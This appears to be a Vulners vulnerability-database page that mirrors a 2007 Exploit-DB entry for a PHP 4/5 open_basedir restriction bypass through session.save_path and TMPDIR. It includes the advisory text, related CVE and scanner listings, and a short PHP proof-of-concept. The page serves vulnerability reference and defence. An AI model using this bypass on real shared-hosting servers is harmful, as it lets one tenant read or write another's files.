Lucene search
+L

PHP 5.2.1 - 'Session.Save_Path()' TMPDIR open_basedir Restriction Bypass

🗓️ 28 Mar 2007 00:00:00Reported by Stefan EsserType 
exploitdb
 exploitdb
🔗 www.exploit-db.com👁 190 Views

PHP 5.2.1 open_basedir Restriction Bypass Vulnerabilit

Related
Code
ReporterTitlePublishedViews
Family
cve
CVE
CVE-2007-1835
3 Apr 200700:00
cve
cvelist
Cvelist
CVE-2007-1835
3 Apr 200700:00
cvelist
euvd
EUVD
EUVD-2007-1829
7 Oct 202500:30
euvd
nvd
NVD
CVE-2007-1835
3 Apr 200700:19
nvd
openvas
OpenVAS
PHP < 4.4.5 Multiple Vulnerabilities
17 Aug 202000:00
openvas
openvas
OpenVAS
PHP < 5.2.1 Multiple Vulnerabilities
17 Aug 202000:00
openvas
openvas
OpenVAS
PHP < 4.4.5 Multiple Vulnerabilities
21 Jun 201200:00
openvas
openvas
OpenVAS
PHP < 5.2.1 Multiple Vulnerabilities
21 Jun 201200:00
openvas
nessus
Tenable Nessus
PHP < 4.4.5 Multiple Vulnerabilities
2 Apr 200700:00
nessus
nessus
Tenable Nessus
PHP < 5.2.1 Multiple Vulnerabilities
2 Apr 200700:00
nessus
Rows per page
source: https://www.securityfocus.com/bid/23183/info

PHP is prone to a 'open_basedir' restriction-bypass vulnerability due to a design error.

Successful exploits could allow an attacker to access sensitive information or to write files in unauthorized locations.

This vulnerability would be an issue in shared-hosting configurations where multiple users can create and execute arbitrary PHP script code; in such cases, the 'safe_mode' and 'open_basedir' restrictions are expected to isolate users from each other.

The following versions are vulnerable:

PHP 4 up to and including 4.4.6
PHP 5 up to and including 5.2.1

<?php
  ini_set("session.save_path", "/sessions/user2/");
  putenv("TMPDIR=/sessions/user2/");
  ini_set("session.save_path", "");
  @session_start();
?>

Data

Build on a solid foundation with Vulners data

We provide the essential building blocks for cybersecurity solutions with comprehensive, structured, and constantly updated vulnerability and exploits data

Api

Power your application with Vulners API

The Vulners REST API offers reliable, high-performance access to vulnerability intelligence, with 99.9% SLA uptime and CDN-backed data delivery for seamless global access

App

Assess and manage vulnerabilities with Vulners tools

Built on top of Vulners' database and SDK, end-user solutions give security professionals and developers lightweight and powerful tools for vulnerability remediation

25 Nov 2013 00:00Current
5.8Medium risk
Vulners AI Score5.8
CVSS 24.6
EPSS0.0069
190